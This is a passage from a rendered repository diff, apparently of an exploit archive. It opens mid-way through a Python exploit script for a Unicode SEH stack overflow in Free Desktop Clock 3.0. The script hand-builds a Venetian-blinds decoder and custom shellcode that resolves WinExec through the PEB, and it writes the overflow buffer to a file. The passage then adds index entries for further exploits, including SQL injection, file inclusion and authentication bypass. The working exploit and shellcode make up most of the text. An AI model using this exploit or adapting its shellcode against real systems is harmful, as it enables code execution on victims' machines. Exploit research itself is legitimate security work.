venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 26th byte - \x00 => \x49
|
||||||
|
venBlinds += '\xC6\x49' # mov byte [eax], 0x49
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 28th byte - \x00 => \x02
|
||||||
|
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 30th byte - \x00 => \xED
|
||||||
|
venBlinds += '\xC6\xED' # mov byte [eax], 0xED
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 32nd byte - \x00 => \xC3
|
||||||
|
venBlinds += '\xC6\xC3' # mov byte [eax], 0xC3
|
||||||
|
venBlinds += '\x72' # add [edx], dh
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh
|
||||||
|
# Jump to the decoded decoder by Returning to the address we saved on the stack
|
||||||
|
venBlinds += '\xC3' # ret [!] Now we are executing the decoder!
|
||||||
|
|
||||||
|
os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
|
||||||
|
|
||||||
|
#badChars = 00 0d 80 82->8e 91->9f
|
||||||
|
# Custom PopCalc shellcode that avoids the bad characters
|
||||||
|
fKernel32 = '\x33\xF6' # xor esi, esi
|
||||||
|
fKernel32 += '\xF7\xE6' # mul esi
|
||||||
|
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB
|
||||||
|
fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR
|
||||||
|
fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll
|
||||||
|
fKernel32 += '\xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
|
||||||
|
fKernel32 += '\x50' # push eax
|
||||||
|
fKernel32 += '\x5E' # pop esi
|
||||||
|
fKernel32 += '\xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
|
||||||
|
fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32
|
||||||
|
|
||||||
|
gExpotTbl = '\x33\xC9' # xor ecx, ecx
|
||||||
|
gExpotTbl += '\x33\xF6' # xor esi, esi
|
||||||
|
gExpotTbl += '\x33\xDB' # xor ebx, ebx
|
||||||
|
gExpotTbl += '\xF7\xE3' # mul ebx
|
||||||
|
gExpotTbl += '\x58' # pop eax # EAX = &kernel32
|
||||||
|
gExpotTbl += '\x50' # push eax # [ESP] = &kernel32
|
||||||
|
gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
|
||||||
|
gExpotTbl += '\x03\xF0' # add esi, eax ; ESI = &NewEXEHeader
|
||||||
|
gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable
|
||||||
|
gExpotTbl += '\x03\xD0' # add edx, eax ; EDX = &ExportTable = 763477B0
|
||||||
|
|
||||||
|
gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
|
||||||
|
gExpotTbl += '\x03\xD8' # add ebx, eax ; EBX = &ExportNameTable
|
||||||
|
|
||||||
|
gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
|
||||||
|
gExpotTbl += '\x03\xC8' # add ecx, eax ; ECX = &ExportOrdinalTable
|
||||||
|
gExpotTbl += '\x51' # push ecx
|
||||||
|
|
||||||
|
gExpotTbl += '\x33\xFF' # xor edi, edi
|
||||||
|
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
|
||||||
|
gExpotTbl += '\x03\xF8' # add edi, eax ; EDI = &ExportAddrTable
|
||||||
|
gExpotTbl += '\x57' # push edi
|
||||||
|
|
||||||
|
fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
|
||||||
|
fWinExec += '\x33\xC0' # xor eax, eax ; EAX = Counter
|
||||||
|
|
||||||
|
fWinExec += '\x33\xF6' # xor esi, esi
|
||||||
|
fWinExec += '\x03\xF4' # add esi, esp ; ESI = "WinE"
|
||||||
|
fWinExec += '\xFC' # cld ; Process strings left to right
|
||||||
|
fWinExec += '\x50' # push eax
|
||||||
|
fWinExec += '\x33\xC9' # xor ecx, ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\xF7\xE1' # mul ecx
|
||||||
|
fWinExec += '\x33\xFF' # xor edi, edi
|
||||||
|
fWinExec += '\x03\x3C\x18' # add edi, [eax+ebx]
|
||||||
|
fWinExec += '\x58' # pop eax
|
||||||
|
fWinExec += '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString
|
||||||
|
fWinExec += '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"
|
||||||
|
fWinExec += '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop
|
||||||
|
fWinExec += '\x40' # inc eax ; Counter ++
|
||||||
|
fWinExec += '\xEB\xE1' # jmp short searchLoop ; restart loop
|
||||||
|
|
||||||
|
fWinExec += '\x33\xC9' # xor ecx, ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\x41' # inc ecx
|
||||||
|
fWinExec += '\xF7\xE1' # mul ecx
|
||||||
|
fWinExec += '\x33\xC9' # xor ecx, ecx
|
||||||
|
fWinExec += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
|
||||||
|
fWinExec += '\x03\xC8' # add ecx, eax
|
||||||
|
fWinExec += '\x33\xC0' # xor eax, eax
|
||||||
|
fWinExec += '\x66\x03\x01' # add ax, [ecx] ; AX = ordinalNumber
|
||||||
|
|
||||||
|
fWinExec += '\x33\xC9' # xor ecx, ecx
|
||||||
|
fWinExec += '\x41\x41\x41\x41' # inc ecx X 4
|
||||||
|
fWinExec += '\xF7\xE1' # mul ecx
|
||||||
|
fWinExec += '\xFF\x74\x24\x04' # push dword [esp+0x4]
|
||||||
|
fWinExec += '\x01\x04\x24' # add [esp], eax
|
||||||
|
fWinExec += '\x5A' # pop edx
|
||||||
|
fWinExec += '\x33\xDB' # xor ebx, ebx
|
||||||
|
fWinExec += '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec
|
||||||
|
fWinExec += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec
|
||||||
|
# Call WinExec( CmdLine, ShowState );
|
||||||
|
# CmdLine = "calc.exe"
|
||||||
|
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
|
||||||
|
callWinExec = '\x33\xC9' # xor ecx, ecx ; clear eax register
|
||||||
|
callWinExec += '\x51' # push ecx ; string terminator 0x00 for "calc.exe" string
|
||||||
|
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
|
||||||
|
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
|
||||||
|
callWinExec += '\x33\xC0' # xor eax, eax
|
||||||
|
callWinExec += '\x03\xC4' # add eax, esp ; save pointer to "calc.exe" string in eax
|
||||||
|
callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
|
||||||
|
callWinExec += '\x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
|
||||||
|
callWinExec += '\x50' # push eax ; lpcmdLine - push string address stack # 1st argument
|
||||||
|
callWinExec += '\xFF\xD3' # call ebx ; Call the WinExec Function
|
||||||
|
|
||||||
|
shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
|
||||||
|
|
||||||
|
buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
|
||||||
|
filler = '\x77'*(9000-len(buffer))
|
||||||
|
buffer = buffer+filler
|
||||||
|
|
||||||
|
try:
|
||||||
|
payload = buffer
|
||||||
|
f = open(File, 'w')
|
||||||
|
f.write(payload)
|
||||||
|
f.close()
|
||||||
|
print File + " created successfully"
|
||||||
|
except:
|
||||||
|
print File + ' failed to create'
|
||||||
|
|
@ -11026,6 +11026,7 @@ id,file,description,date,author,type,platform,port
|
||||||
48293,exploits/windows/local/48293.py,"Triologic Media Player 8 - '.m3l' Buffer Overflow (Unicode) (SEH)",2020-04-06,"Felipe Winsnes",local,windows,
|
48293,exploits/windows/local/48293.py,"Triologic Media Player 8 - '.m3l' Buffer Overflow (Unicode) (SEH)",2020-04-06,"Felipe Winsnes",local,windows,
|
||||||
48299,exploits/windows/local/48299.txt,"Microsoft NET USE win10 - Insufficient Authentication Logic",2020-04-06,hyp3rlinx,local,windows,
|
48299,exploits/windows/local/48299.txt,"Microsoft NET USE win10 - Insufficient Authentication Logic",2020-04-06,hyp3rlinx,local,windows,
|
||||||
48306,exploits/windows/local/48306.txt,"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path",2020-04-10,MgThuraMoeMyint,local,windows,
|
48306,exploits/windows/local/48306.txt,"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path",2020-04-10,MgThuraMoeMyint,local,windows,
|
||||||
|
48314,exploits/windows/local/48314.py,"Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)",2020-04-13,boku,local,windows,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
|
@ -42550,3 +42551,9 @@ id,file,description,date,author,type,platform,port
|
||||||
48303,exploits/php/webapps/48303.txt,"Django 3.0 - Cross-Site Request Forgery Token Bypass",2020-04-08,"Spad Security Group",webapps,php,
|
48303,exploits/php/webapps/48303.txt,"Django 3.0 - Cross-Site Request Forgery Token Bypass",2020-04-08,"Spad Security Group",webapps,php,
|
||||||
48304,exploits/hardware/webapps/48304.py,"Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)",2020-04-08,"Jacob Baines",webapps,hardware,
|
48304,exploits/hardware/webapps/48304.py,"Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)",2020-04-08,"Jacob Baines",webapps,hardware,
|
||||||
48308,exploits/cgi/webapps/48308.py,"Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal",2020-04-10,"Basim Alabdullah",webapps,cgi,
|
48308,exploits/cgi/webapps/48308.py,"Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal",2020-04-10,"Basim Alabdullah",webapps,cgi,
|
||||||
|
48310,exploits/hardware/webapps/48310.txt,"Huawei HG630 2 Router - Authentication Bypass",2020-04-13,"Eslam Medhat",webapps,hardware,
|
||||||
|
48311,exploits/hardware/webapps/48311.py,"TVT NVMS 1000 - Directory Traversal",2020-04-13,"Mohin Paramasivam",webapps,hardware,
|
||||||
|
48312,exploits/php/webapps/48312.txt,"Webtateas 2.0 - Arbitrary File Read",2020-04-13,"China Banking and Insurance Information Technology Management Co.",webapps,php,
|
||||||
|
48313,exploits/java/webapps/48313.txt,"WSO2 3.1.0 - Arbitrary File Delete",2020-04-13,"Raki Ben Hamouda",webapps,java,
|
||||||
|
48315,exploits/php/webapps/48315.txt,"Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion",2020-04-13,"Daniel Monzón",webapps,php,
|
||||||
|
48316,exploits/php/webapps/48316.txt,"MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection",2020-04-13,"Noam Moshe",webapps,php,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue